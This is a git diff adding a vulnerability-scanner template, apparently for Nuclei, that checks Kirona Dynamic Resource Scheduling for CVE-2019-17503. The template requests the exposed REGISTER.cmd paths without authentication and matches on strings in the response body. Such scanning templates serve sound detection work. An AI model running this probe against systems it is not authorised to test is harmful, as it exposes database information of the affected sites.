diff --git a/cves/2019/CVE-2019-17503.yaml b/cves/2019/CVE-2019-17503.yaml new file mode 100644 index 0000000000..beca789136 --- /dev/null +++ b/cves/2019/CVE-2019-17503.yaml @@ -0,0 +1,30 @@ +id: CVE-2019-17503 + +info: + name: Kirona Dynamic Resource Scheduling - information disclosure + author: LogicalHunter + severity: medium + description: An unauthenticated user can access /osm/REGISTER.cmd (aka /osm_tiles/REGISTER.cmd) directly _ it contains sensitive information about the database through the SQL queries within this batch file + reference: + - https://www.exploit-db.com/exploits/47498 + - https://nvd.nist.gov/vuln/detail/CVE-2019-17503 + tags: cve,cve2019,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/osm/REGISTER.cmd" + - "{{BaseURL}}/osm_tiles/REGISTER.cmd" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "DEBUGMAPSCRIPT=TRUE" + - "@echo off" + condition: and